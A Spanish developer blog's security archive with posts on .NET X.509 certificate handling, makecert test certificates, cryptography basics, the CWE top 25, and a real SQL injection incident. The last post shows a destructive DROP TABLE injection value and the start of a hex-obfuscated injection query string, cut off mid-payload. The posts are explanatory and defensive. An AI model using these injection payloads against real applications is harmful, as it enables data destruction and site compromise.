Archivo de la categoría 'Seguridad'


Utilizar certificados digitales desde .NET

Viernes, 21 Ago, 2009 @ 09:20 | Por Gustavo Cantero (The Wolf) | .NET, Seguridad

Luego de mis artículos sobre certificados digitales, firma digital y hash sólo me queda escribir el último de esta serie en donde me gustaría mostrar cómo buscar, leer y utilizar estos certificados X.509 desde .NET.

Consultar los repositorios de certificados

Como primer paso vamos a recorrer los certificados que tenemos instalados en nuestra máquina. Para esto debemos utilizar la clase X509Store, la cual nos da la posibilidad de consultar un repositorio de certificados, por ejemplo, el repositorio raíz (Root), el repositorio donde están los certificados de las autoridades certificantes (CertificateAuthority), o el repostorio personal (My). También tenemos que elegir la ubicación del certificado, es decir, si vamos a querer consultar los certificados que están a nivel de máquina o de usuario. Tengan en cuenta que si van a utilizar la clase X509Store desde ASP.NET deben leer los certificados que están a nivel de máquina, ya que el usuario ASP.NET rara vez va a tener algún certificado instalado.

Luego de elegido el repositorio que queremos abrir debemos utilizar el método Open para que consulte al mismo.

Una vez abierto el repositorio, la propiedad Certificates contendrá una colección (basada en la clase X509Certificate2Collection) de los certificados almacenados.

Después de utilizar el repositorio no hay que olvidar de cerrar el mismo con método Close.

A continuación muestro cómo abrir el repositorio personal y escribir en la consola de debug los nombres y firmas digitales (hash) de cada certificado:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
...
X509Store objStore = new X509Store(StoreName.My, StoreLocation.LocalMachine);
objStore.Open(OpenFlags.ReadOnly);

foreach (X509Certificate2 objCert in objStore.Certificates)
    Debug.Print(objCert.SubjectName.Name + ": " + objCert.Thumbprint);

objStore.Close();

Consultar la información del certificado y sus extensiones

Cada certificado posee una serie de datos (los cuales se describen en el artículo Conceptos de Certificado Digital y Firma Digital y creamos en el artículo Crear certificados de prueba para servidor y cliente). Además de estos datos los certificados poseen extensiones, que definen distintos posibles usos dependiendo de las mismas, y según la extensión poseen distintos datos almacenados. Por ejemplo, en la extensión del tipo “2.5.29.37” (también llamada “Enhanced Key Usage”) se guarda cual va a ser el destino del certificado, por ejemplo para autenticación del cliente.

Estas extensiones están en la colección Extensions del certificado, y para obtener la información almacenada debe castearse según el tipo del mismo. Para saber qué tipo de extensión es la almacenada se puede leer la propiedad Oid, la cual devuelve la clase homónima que representa un identificador de un objeto criptográfico (cryptographic object identifier) y luego, de este objeto, podemos leer la propiedad FriendlyName para obtener el nombre de la extensión.

A continuación hay un código de ejemplo donde se muestra la información de un certificado:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado
StringBuilder objSB = new StringBuilder("Detalle del certificado: \n\n");

//Detalle
objSB.AppendLine("Persona = " + objCert.Subject);
objSB.AppendLine("Emisor = " + objCert.Issuer);
objSB.AppendLine("Válido desde = " + objCert.NotBefore.ToString());
objSB.AppendLine("Válido hasta = " + objCert.NotAfter.ToString());
objSB.AppendLine("Tamaño de la clave = " + objCert.PublicKey.Key.KeySize.ToString());
objSB.AppendLine("Número de serie = " + objCert.SerialNumber);
objSB.AppendLine("Hash = " + objCert.Thumbprint);

//Extensiones
objSB.AppendLine("\nExtensiones:\n");
foreach (X509Extension objExt in objCert.Extensions)
{
    objSB.AppendLine(objExt.Oid.FriendlyName + " (" + objExt.Oid.Value + ')');

    if (objExt.Oid.FriendlyName == "Key Usage")
    {
        X509KeyUsageExtension ext = (X509KeyUsageExtension)objExt;
        objSB.AppendLine("    " + ext.KeyUsages);
    }

    if (objExt.Oid.FriendlyName == "Basic Constraints")
    {
        X509BasicConstraintsExtension ext = (X509BasicConstraintsExtension)objExt;
        objSB.AppendLine("    " + ext.CertificateAuthority);
        objSB.AppendLine("    " + ext.HasPathLengthConstraint);
        objSB.AppendLine("    " + ext.PathLengthConstraint);
    }

    if (objExt.Oid.FriendlyName == "Subject Key Identifier")
    {
        X509SubjectKeyIdentifierExtension ext = (X509SubjectKeyIdentifierExtension)objExt;
        objSB.AppendLine("    " + ext.SubjectKeyIdentifier);
    }

    if (objExt.Oid.FriendlyName == "Enhanced Key Usage") //2.5.29.37
    {
        X509EnhancedKeyUsageExtension ext = (X509EnhancedKeyUsageExtension)objExt;
        OidCollection objOids = ext.EnhancedKeyUsages;
        foreach (Oid oid in objOids)
            objSB.AppendLine("    " + oid.FriendlyName + " (" + oid.Value + ')');
    }
}
Debug.Print(objSB.ToString());

Validar certificados

Una de las tareas comunes que se realizan cuando estamos trabajando con certificados es la validación de los mismos. Esta tarea incluye verificar las fechas de validez, chequear que el certificado no haya sido revocado, etc. Esta validación debe hacerse en todos y cada uno de los certificados de la cadena hasta el certificado raíz.

Para validar la cadena de certificados se puede utilizar la clase X509Chain. Esta clase posee varias propiedades para especificar la forma en la que se quiere hacer la validación, por ejemplo, en la propiedad RevocationFlag se puede establecer si queremos validar sólo el certificado final (X509RevocationFlag.EndCertificateOnly), toda la cadena excepto el raíz (X509RevocationFlag.ExcludeRoot) o la cadena completa (X509RevocationFlag.EntireChain). También puede establecerse la forma en la que se quiere validar las revocaciones a través de la propiedad RevocationMode, pudiendo seleccionar en línea (X509RevocationMode.Online), fuera de línea (X509RevocationMode.Offline) o no chequear las listas de revocados (X509RevocationMode.NoCheck).

Para iniciar la validación, en la instancia de la clase X509Chain, se debe utilizar el método Build pasándole como parámetro el certificado. Luego de esto, en la propiedad ChainStatus, vamos a encontrar la lista de errores en las validaciones o, en caso de estar vacío este vector, significa que el certificado es válido.

Acá les dejo un código de ejemplo donde validamos un certificado y toda la cadena:

using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado
X509Chain objChain = new X509Chain();

//Verifico toda la cadena de revocación
objChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
objChain.ChainPolicy.RevocationMode = X509RevocationMode.Online;

//Timeout para las listas de revocación
objChain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 0, 30);

//Verificar todo
objChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;

//Se puede cambiar la fecha de verificación
//objChain.ChainPolicy.VerificationTime = new DateTime(1999, 1, 1);

objChain.Build(objCert);

if (objChain.ChainStatus.Length != 0)
    foreach (X509ChainStatus objChainStatus in objChain.ChainStatus)
        Debug.Print(objChainStatus.Status.ToString() + " - " + objChainStatus.StatusInformation);
else
    Debug.Print("Ok");

Firma de datos

Una de las tareas más comunes para las cuales se utilizan los certificados es para firmar documentos. Para esto casi siempre se utiliza el estándar de sintaxis para mensajes criptográficos PKCS #7, el cual está definido en el RFC 2315.

En .NET, para crear firmas digitales utilizando PKCS #7, se pueden utilizar las clases que están en el namespace System.Security.Cryptography.Pkcs.
Pienso que lo mejor para explicar cómo hacerte esto es a través de un ejemplo, por lo tanto, a continuación muestro un ejemplo donde creo un documento con su firma digital a partir de un texto:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
SignedCms objSignedData = new SignedCms(objContent);

//Creamos el "firmante"
CmsSigner objSigner = new CmsSigner(objCert);

//Firmamos los datos
objSignedData.ComputeSignature(objSigner);

//Obtenemos el resultado
byte[] bytSigned = objSignedData.Encode();

Debug.Print("Documento con firma: " + Convert.ToBase64String(bytSigned);

Otra opción, dependiendo de la forma en la que se quiere utilizar el resultado, es la de crear la firma solamente, sin el documento:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
SignedCms objSignedData = new SignedCms(objContent, true);

//Creamos el "firmante"
CmsSigner objSigner = new CmsSigner(objCert);

//Firmamos los datos
objSignedData.ComputeSignature(objSigner);

//Obtenemos el resultado
byte[] bytSigned = objSignedData.Encode();

Debug.Print("Firma digital: " + Convert.ToBase64String(bytSigned);

Verificar firma

Obviamente si creamos un documento con una firma digital es porque, tarde o temprano, vamos a querer verificar esta firma. Para realizar esto utilizamos nuevamente la clase SignedCms, la cual posee el método CheckSignature, y en caso de ser un documento firmado (no la firma “suelta”), en la propiedad ContentInfo.Content va a estar el documento sin firma.

A continuación les dejo los dos ejemplos, la verificación de la firma digital:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytFirma = ... //Acá tenemos que poner la firma digital calculada en el ejemplo anterior
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

SignedCms objDatos = new SignedCms(objContent, true);

//Deserealizamos la firma
objDatos.Decode(bytFirma);

try
{
//Verificamos si la firma concuerda con los datos
objDatos.CheckSignature(true);
Debug.Print("Ok - La firma concuerda con los datos");
}
catch
{
Debug.Print("Error - La firma no concuerda con los datos");
}

Y el ejemplo de la verificación de la firma y obtención del documento:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytDocFirmado = ... //Acá tenemos que poner el documento firmado obtenido en el ejemplo anterior
SignedCms objDatos = new SignedCms();

//Deserializo los bytes PKCS#7
objDatos.Decode(bytDocFirmado);

//Verifico la firma y obtengo el documento
try
{
    objDatos.CheckSignature(true);
    Debug.Print("Ok - La firma concuerda con los datos");
    Debug.Print(Encoding.ASCII.GetString(objDatos.ContentInfo.Content));
}
catch
{
    Debug.Print("Error - La firma no concuerda con los datos");
}

Encriptación y desencriptación utilizando un certificado

Por último voy a mostrar como encriptar y desencriptar documentos utilizando certificados digitales. Para esto, al igual con la firma de documentos, voy a mostrar un ejemplo, que creo es la mejor manera de entenderlo:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
EnvelopedCms objEncryptedData = new EnvelopedCms(objContent);

//Creamos el destino
CmsRecipient objRecipient = new CmsRecipient(objCert);

//Firmamos los datos
objEncryptedData.Encrypt(objRecipient);

//Datos encriptados
byte[] bytResult = objEncryptedData.Encode();

Debug.Pring("Datos encriptados:  " + Convert.ToBase64String(bytResult));

Y ahora voy a mostrar como desencriptar los datos obtenidos en el paso anterior. Para esto previamente tenemos que tener instalado el certificado con el que se encriptaron estos datos, junto con su clave privada, en un repositorio sobre el cual el usuario tenga permisos:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytDatos = … //Datos encriptados

EnvelopedCms objEncryptedData = new EnvelopedCms();

//Leemos los datos encriptados
objEncryptedData.Decode(bytDatos);

//Desencriptamos los datos
objEncryptedData.Decrypt();

//Documento original
byte[] bytDoc = objEncryptedData.ContentInfo.Content;

//Mostramos el resultado
Debug.Print("Datos desencriptados: " + Encoding.ASCII.GetString(bytDoc));

Espero que este resumen pueda servirle a cualquier que necesite trabajar con certificados digitales desde .NET.

Artículos relacionados

VN:F [1.7.3_972]
Rating: 6.7/10 (3 votos cast)

Crear certificados de prueba para servidor y cliente

Viernes, 26 Jun, 2009 @ 16:12 | Por Gustavo Cantero (The Wolf) | ASP.NET, IIS, Seguridad

Cuando estamos desarrollando una aplicación que utiliza certificados de cliente para autenticar a los usuarios debemos crear certificados de prueba para poder probar la aplicación, pero también se debe crear uno para utilizar con SSL en el Internet Information Server, y otro certificado que utilizaremos como entidad emisora de los certificados anteriores.

Para crear estos certificados de prueba utilizaremos la herramienta MakeCert, la cual crea archivos de certificado con sus pares de claves (pública y privada). Esta herramienta también asocia el par de claves al nombre especificado de una empresa y crea un certificado X.509 que enlaza el nombre especificado por un usuario con la parte pública del par de claves.

Cabe mencionar que esta aplicación, además de crear el archivo con el certificado, lo instala en uno de los repositorios de Windows, los cuales pueden verse, por ejemplo, desde el Internet Explorer, en el menú “herramientas”, “opciones de internet”, “contenido”, “certificados”, lo que abre una ventana como la que se muestra a continuación.

Certificados

Esta es una de las herramientas que se incluyen en el Windows SDK, el cual viene con Visual Studio o puede bajarse de forma independiente de la siguiente dirección: http://msdn.microsoft.com/es-ar/windows/bb980924.aspx.

Como primer paso vamos a crear el certificado de la entidad emisora con los siguientes parámetros:

  • Vamos a llamarlo “Scientia Root Auth” con la opción “-n” utilizando la nomenclatura definida en X.500
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Lo vamos a guardar a nivel de máquina (opción “-sr LocalMachine”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Lo vamos a utilizar para firmar (opción “-sky signature”)
  • Este certificado va a estar “autofirmado”, o sea, no va a ser creado por otra entidad emisora

Entonces, utilizando los parámetros descriptos en esta lista, el comando a ejecutar queda así:

makecert -pe -n "CN=Scientia Root Auth" -ss my -sr LocalMachine -a sha1 -sky signature -r "ScientiaRootAuth.cer"

Para confiar en este certificado, al ser autofirmado, tenemos que copiarlo al repositorio raíz de entidades de certificación de confianza (Trusted Root Certification Authorities), para lo cual vamos a utilizar otra herramienta que viene en el Windows SDK llamada “Certification Manager” (CertMgr). Esta herramienta puede utilizarse desde su interfaz gráfica o a través de la línea de comandos. Nosotros vamos a utilizarla a través de la línea de comandos para copiar el certificado:

certmgr -add -all -c "ScientiaRootAuth.cer" -s -r LocalMachine Root

Ahora vamos a crear el certificado para utilizar SSL en el Internet Information Server con el protocolo https:

  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Vamos a utilizar la nomenclatura definida en X.500 para nombrarlo “localhost” (opción “-n”)
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Lo vamos a guardar a nivel de máquina (opción “-sr LocalMachine”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Lo vamos a utilizar para intercambio de identidades (opción “-sky exchange”)
  • Lo vamos a utilizar para autenticar el servidor (opción “-eku 1.3.6.1.5.5.7.3.1”)
  • Vamos a utilizar como entidad emisora el certificado creado en el primer paso (opción “-in “Scientia Root Auth”)
  • La cual está en el repositorio personal (opción “-is my”)
  • A nivel de máquina (opción “-ir LocalMachine”)
  • Establecemos el proveedor del CryptoAPI con la opción “-sp “Microsoft RSA SChannel Cryptographic Provider””
  • Y el tipo de de proveedor CryptoAPI con la opción “-sy 12”

Entonces, utilizando los parámetros descriptos en esta lista, el comando a ejecutar queda así:

makecert -pe -n "CN=localhost" -ss my -sr LocalMachine -a sha1 -sky exchange -eku 1.3.6.1.5.5.7.3.1 -in "Scientia Root Auth" -is my -ir LocalMachine -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 localhost.cer

Ahora podemos configurar el Internet Information Server para que utilice este certificado. En este ejemplo vamos a utilizar el IIS versión 5.1, aunque esta tarea puede realizarse con cualquier versión. Desde las propiedades del sitio web, en la solapa “Seguridad de directorios”, vamos a ver una sección llamada “Comunicaciones seguras”.

Propiedades IIS

Ahí vamos a poder pulsar en el botón “Certificado de servidor…” y se nos va a abrir un “wizard” para crear, elegir o importar un certificado. En este ayudante vamos a seleccionar “asignar un certificado existente” y, en el paso siguiente, vamos a elegir el certificado llamado “localhost” (el creado en el paso anterior), luego ingresaremos el puerto que utilizaremos para SSL (por defecto es el 443), y listo, finalizamos el ayudante y ya podemos utilizar https en nuestro IIS.

Ahora, si necesitamos requerir que el usuario ingrese un certificado para autenticarse o para leer los datos del mismo, tenemos que crearlo. Para esto volveremos a utilizar la herramienta MakeCert, pero con algunos parámetros distintos:

  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Vamos a utilizar la nomenclatura definida en X.500 para ingresar el nombre del usuario, el país, la empresa, la unidad organizativa y el mail (opción “-n”)
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Como es un certificado personal lo vamos a guardar a nivel de usuario (opción “-sr CurrentUser”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Lo vamos a utilizar para intercambio de identidades (opción “-sky exchange”)
  • Lo vamos a utilizar para autenticación del cliente (opción “-eku 1.3.6.1.5.5.7.3.2”)
  • Vamos a utilizar como entidad emisora el certificado creado en el primer paso (opción “-in “Scientia Root Auth”)
  • La cual está en el repositorio personal (opción “-is my”)
  • A nivel de máquina (opción “-ir LocalMachine”)
  • Establecemos el proveedor del CryptoAPI con la opción “-sp “Microsoft RSA SChannel Cryptographic Provider””
  • El tipo de de proveedor CryptoAPI con la opción “-sy 12”
  • Por último le vamos a establecerle 25000000 como número de serie (opción “-# 25000000”)

Ahora juntamos todos estos parámetros y el comando nos queda:

makecert -pe -n "CN=Gustavo Cantero, O=Scientia Soluciones Informaticas, OU=Desarrollo, E=g.cantero@Scientia.com.ar, C=AR" -ss my -sr CurrentUser -a sha1 -sky exchange -eku 1.3.6.1.5.5.7.3.2 -in "Scientia Root Auth" -is Root -ir LocalMachine -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 -# 25000000 GustavoCantero.cer

Bien, ahora para que el IIS le pida este certificado al usuario tenemos que habilitar SSL en la carpeta o sitio donde necesitamos el certificado, y establecerle que el usuario puede o debe seleccionar un certificado de cliente para autenticarse. Esto se hace desde la misma solapa “Seguridad de directorios” de las propiedades del sitio (o carpeta del sitio), pero pulsando sobre el botón “Modificar” de la sección “Comunicaciones seguras”, ahí vamos a pulsar sobre “Requerir canal seguro (SSL)” para que sólo pueda utilizarse a través de https, y “Requerir certificados de cliente”, para que el usuario deba seleccionar un certificado.

Comunicaciones seguras


Dependiendo de la versión de IIS y del sistema operativo también vamos a poder vincular los certificados del cliente a usuarios del dominio y otras opciones más avanzadas, las cuales exceden el propósito de este artículo.

Ahora, al acceder al sitio vamos a ver que nos muestra que tenemos un certificado en el cual no confiamos, esto es porque el certificado raíz no está en el repositorio de confianza del Internet Explorer. Para seguir podemos pulsar sobre “Continuar con este sitio”, y luego de esto el navegador va a abrir una ventana para que elijamos un certificado de cliente, y en esa ventana vamos a ver el último certificado que creamos.

Como último paso vamos a leer el certificado y a mostrar la información básica desde una página de ASP.NET con el siguiente código agregado en el evento Load de la página:

HttpClientCertificate objCert = Request.ClientCertificate;
if (objCert.IsPresent)
{
    if (objCert.IsValid)
    {
        System.Security.Cryptography.X509Certificates.X509Certificate2 objCert2 = new System.Security.Cryptography.X509Certificates.X509Certificate2(objCert.Certificate

        Response.Write("Persona = " + objCert.Subject + "<br/>");
        Response.Write("Emisor = " + objCert.Issuer + "<br/>");
        Response.Write("Válido desde = " + objCert.ValidFrom + "<br/>");
        Response.Write("Válido hasta = " + objCert.ValidUntil + "<br/>");
        Response.Write("¿Es válido ? = " + objCert.IsValid + "<br/>");
        Response.Write("Tamaño de la clave = " + objCert.SecretKeySize + "<br/>");
        Response.Write("Nombre del certificado del servidor = " + objCert.ServerSubject + "<br/>");
        Response.Write("Emisor del certificado del servidor = " + objCert.ServerIssuer + "<br/>");
        Response.Write("Número de serie = " + objCert.SerialNumber + " - " + int.Parse(objCert2.SerialNumber, NumberStyles.HexNumber) + "<br/>");
        Response.Write("Hash = " + objCert.CertEncoding + "<br/>");
    }
    else
        Response.Write("El certificado no es válido");
}
else
    Response.Write("No se ha encontrado un certificado");

Por último les dejo un archivo batch para crear los tres certificados en un paso.
En el próximo artículo mostraré algunos usos más avanzados de los certificados desde .NET.

Artículos relacionados

VN:F [1.7.3_972]
Rating: 9.8/10 (11 votos cast)

Conceptos de Certificado Digital y Firma Digital

Lunes, 22 Jun, 2009 @ 20:48 | Por Gustavo Cantero (The Wolf) | Seguridad

Hace un par de semanas estuve dictando un curso sobre Certificados Digitales, Firma Digital y su utilización desde .NET, y me pareció interesante escribir algunos artículos sobre el tema para aquellos que necesitan hacer, por ejemplo, autenticación de usuarios a través de certificados de cliente, encriptación de la información a través de SSL, firma digital de documentos, etc.

Antes de comenzar a utilizar algunas herramientas y mostrarles código voy a hacer una breve introducción a algunos conceptos que son importantes que nos queden en claro.

Muy breve resumen de la historia de la criptografía

EnigmaEn la historia desde hace miles de años que el hombre trata de ocultar sus mensajes y escritos de ojos a los cuales no desea mostrar su contenido, y para esto encripta estos textos utilizando, en un principio, métodos sencillos que incluían el uso de lápiz, papel o alguna máquina sencilla. Luego, a principios del siglo XX, comenzó a utilizar máquinas mecánicas y electromecánicas, como la conocida máquina de rotores llamada Enigma, la cual fue utilizada por las fuerzas Alemanas desde 1930, proporcionando métodos de cifrado más complejos y eficientes.

La criptografía moderna comenzó cuando Claude Shannon publicó el artículo Communication Theory of Secrecy Systems en la Bell System Technical Journal en 1949, y poco tiempo después, junto a Warren Weaver, publicaron el libro Mathematical Theory of Communication. Estos documentos, juntos con otros publicados posteriormente, formaron las bases de la teoría de la criptografía, aunque fueron organizaciones gubernamentales secretas (como la NSA) las que siguieron con la investigación. Recién a mediados de los 70 hubieron grandes avances a nivel público: la creación del estándar de cifrado DES (Data Encryption Standard) y la creación de la criptografía asimétrica.

Métodos de cifrado

Los métodos de cifrado de la criptografía moderna se dividen, a gran escala, en dos: cifrado de flujo y cifrado de bloques, y éste último a su vez se divide en cifrado simétrico (con clave secreta) y cifrado asimétrico (con clave pública).

Métodos de cifrado

Cifrado de flujo

Los algoritmos de cifrado de flujo pueden realizar el cifrado incrementalmente, transformando el mensaje original en un mensaje cifrado bit a bit. Esto lo logra construyendo un generador de flujo de clave, el cual es una secuencia de bits de tamaño arbitrario que puede emplearse para oscurecer el contenido del flujo de datos combinando el flujo de clave con el flujo de datos mediante la función XOR. Si el flujo de clave es seguro, el flujo de datos cifrados también lo será.

Este método es utilizado en algunas aplicaciones como el cifrado de conversaciones telefónicas, donde el cifrado en bloques es inapropiado porque los flujos de datos se producen en tiempo real en pequeños fragmentos y las muestras de datos pueden ser muy pequeñas (hasta de 1 bit), y sería un desperdicio rellenar el resto de los bits antes de cifrar el mensaje y transmitirlo.

Cifrado por bloques

En este tipo de cifrado el mensaje se agrupa en bloques, por lo general de 128 bits o más, antes de aplicar el algoritmo de cifrado a cada parte de forma independiente utilizando la misma clave.

Cifrado simétrico

La criptografía simétrica es el método criptográfico que usa una misma clave para cifrar y descifrar los mensajes. Las dos partes que se comunican deben ponerse de acuerdo de antemano sobre la clave a utilizar y, una vez que ambas tienen acceso a esta clave, el remitente cifra el mensaje utilizándola, lo envía al destinatario, y éste lo descifra con la misma clave.

Existen algunos algoritmos muy conocidos, como el DES (Data Encryption Standard), el cual fue un diseño de unidad de cifrado por bloques de gran influencia desarrollado por IBM y publicado como estándar en 1977.

Cifrado asimétrico

El cifrado asimétrico es el método criptográfico que usa un par de claves para el envío de mensajes. Una de estas claves es pública y se puede entregar a cualquier persona, la otra clave es privada y el propietario debe guardarla de modo que nadie tenga acceso a ella. Los métodos criptográficos garantizan que ese par de claves sólo se puede generar una vez, de modo que se puede asumir que no es posible que dos personas hayan obtenido casualmente el mismo par de claves.

Si el remitente usa la clave pública del destinatario para cifrar el mensaje, una vez cifrado, sólo la clave privada del destinatario podrá descifrar este mensaje, ya que es el único que la posee. Por lo tanto se logra la confidencialidad del envío del mensaje, nadie salvo el destinatario puede descifrarlo, ni siquiera la misma persona que generó el mensaje.

Si el propietario del par de claves utiliza su clave privada para cifrar el mensaje, cualquiera que posea su clave pública podrá descifrarlo. En este caso se consigue tanto la identificación como la autenticación del remitente, ya que se sabe que sólo pudo haber sido él quien utilizó su clave privada (salvo alguien se la hubiese podido robar). Esta idea es el fundamento de la firma electrónica, de la cual hablamos más abajo.

Los sistemas de cifrado de clave pública o sistemas de cifrado asimétricos se crearon con el fin de evitar el problema del intercambio de claves que posee el sistema de cifrado simétrico. Con las claves públicas no es necesario que el remitente y el destinatario se pongan de acuerdo en la clave a emplear. Todo lo que se requiere es que, antes de iniciar la comunicación secreta, el remitente consiga una copia de la clave pública del destinatario. Es más, esa misma clave pública puede ser usada por cualquiera que desee comunicarse con su propietario.

Cabe mencionar que aunque una persona lograra obtener la clave pública, no podría descifrar el mensaje encriptado con esta misma clave, sólo podría encriptar mensajes que podrían ser leídos por el propietario de la clave privada.

Cifrado asimétrico

VN:F [1.7.3_972]
Rating: 9.7/10 (6 votos cast)

Los 25 errores de programación más peligrosos

Miércoles, 14 Ene, 2009 @ 11:33 | Por Gustavo Cantero (The Wolf) | General, Seguridad

Al ver que la mayoría de los agujeros de seguridad en el software es producido por errores de programación que podrian ser evitados si fuesemos más cautelosos, un grupo internacional de expertos crearon una lista con los 25 errores de programación más peligrosos.  Para crear esta lista trabajó gente de empresas tales como Microsoft, CERT, Oracle Corporation, Tata Consultancy Services, RSA, Red Hat Inc. y varias más. 

A continuación detallo una lista (en inglés) con estos errores:

  • Improper Input Validation
  • Improper Encoding or Escaping of Output
  • Failure to Preserve SQL Query Structure (aka ‘SQL Injection’)
  • Failure to Preserve Web Page Structure (aka ‘Cross-site Scripting’)
  • Failure to Preserve OS Command Structure (aka ‘OS Command Injection’)
  • Cleartext Transmission of Sensitive Information
  • Cross-Site Request Forgery (CSRF)
  • Race Condition
  • Error Message Information Leak
  • Failure to Constrain Operations within the Bounds of a Memory Buffer
  • External Control of Critical State Data
  • External Control of File Name or Path
  • Untrusted Search Path
  • Failure to Control Generation of Code (aka ‘Code Injection’)
  • Download of Code Without Integrity Check
  • Improper Resource Shutdown or Release
  • Improper Initialization
  • Incorrect Calculation
  • Improper Access Control (Authorization)
  • Use of a Broken or Risky Cryptographic Algorithm
  • Hard-Coded Password
  • Insecure Permission Assignment for Critical Resource
  • Use of Insufficiently Random Values
  • Execution with Unnecessary Privileges
  • Client-Side Enforcement of Server-Side Security

Las páginas donde están publicados estos errores (que se actualizarán regularmente) junto con su detalle son www.sans.org/top25errors y cwe.mitre.org/top25, y en las mismas también hay enlaces a recursos para ayudar a eliminarlos.

VN:F [1.7.3_972]
Rating: 9.5/10 (2 votos cast)

SQL Injection 100% real

Jueves, 10 Jul, 2008 @ 15:06 | Por Dario Krapp | Seguridad

Hace unos días un cliente nos reportó comportamientos extraños en su aplicación, la aplicación en cuestión estaba desarrollada en una tecnología ya en desuso hoy en día (ASP con ODBC), incluso en ocasiones le habíamos propuesto migrar la solución a una tecnología más moderna y adecuada que permitiese una mayor velocidad de ejecución, una mejor experiencia de usuario y un mantenimiento más eficiente (ASP.NET 3.5, AJAX, Silverlight). Pero la aplicación en cuestión, además de haberse quedado unos cuantos años en el tiempo, poseía un serio defecto de programación, quizás cuando fue desarrollada no eran muy comunes los ataques de SQL Injection y quizás fue también un milagro que hasta ese momento la aplicación no haya sido atacada, pero la situación había cambiado ese día, la aplicación que armaba cadenas de texto SQL concatenando sentencias, campos y datos enviados por el usuario de la forma más inocente estaba siendo atacada. Esta forma de ataque por SQL Injection nos pareció talentosa (lamentablemente a veces el talento se usa con fines dañinos) y fuera de lo que ya conocíamos, por eso decidimos comentarla en nuestro blog.  

Empecemos por el principio, que es la forma más clara de empezar.
SQL Injection es una vulnerabilidad de programación que le brinda a un usuario de una aplicación la posibilidad de inyectar sentencias SQL en la base de datos que la aplicación emplea como soporte de datos, para que un ataque por SQL injection sea posible es necesario que el programador arme sentencias SQL concatenadas con datos que le llegan del usuario.

Un caso bien simple y conocido es el del login, por ejemplo, una función que autentica al usuario con la siguiente sentencia:

string strLoginSnt =  "SELECT id, email, password FROM table WHERE email = '" + strUserEmail  + "'"

Donde la variable strUserEmail que es un dato brindado por el usuario es una puerta de entrada para un ataque por SQL Injection, ya que si el usuario ingresa el valor :

 x'; DROP TABLE users; --

donde el programador inocente esperaba por ejemplo un:

usuario@scientia.com.ar

que le permitiese armar la sentencia SQL

SELECT id, email, password FROM table WHERE email = 'usuario@scientia.com.ar'

la misma se termina transformando en:

SELECT id, email, password FROM table WHERE email = 'x'; DROP TABLE users; --'

el usuario se las ha ingeniado para inyectar un DROP TABLE users en nuestra sentencia, claro está que para eso debe conocer el nombre de las tablas y para otros casos el nombre de los campos de dichas tablas, pero eso no es un impedimento ya que con tiempo, paciencia y un mínimo poder de deducción terminará descubriendo los nombres de las tablas y sus campos. Cabe comentar en este punto que a veces los programadores suelen darle una gran ayuda a que el usuario dañino pueda encontrar esta información, es ilógicamente increíble la cantidad de veces que las aplicaciones dan información detallada de la estructura de su base dade datos cuando el usuario provoca un error en el ingreso de datos, es posible que éstas técnicas sean partes del arsenal utilizado para conocer el nombre de tablas y campos de la base de datos y de esa forma llegar a armar una sentencia SQL Injection válida. Todos estos puntos ya son conocidos desde hace algún tiempo y estoy convencido que cada vez son menos los programadores que arman sentencias SQL por concatenación, hoy día ya todos sabemos que las consultas parametrizadas son la solución para este tipo de ataques.

Pero ahora volvamos al caso con el que iniciamos éste blog, una aplicación hecha en tecnología ASP donde los datos ingresados por el usuario, tanto como los pasados por QueryString eran vulnerables a SQL Injection.

Investigando descubrimos que ciertas páginas recibían información por QueryString y que esa información se empleaba para armar sentencias SQL por concatenación, suceptible a ataques por SQL Injection, esa era la puerta de entrada que había encontrado el hacker para atacar al sitio.

Entonces mientras que el servidor estaba esperando algo del tipo:  

/display.asp?IDDisp=23976

alguien le estaba pasando lo siguiente

/display.asp?IDDisp=23976;
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST
(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
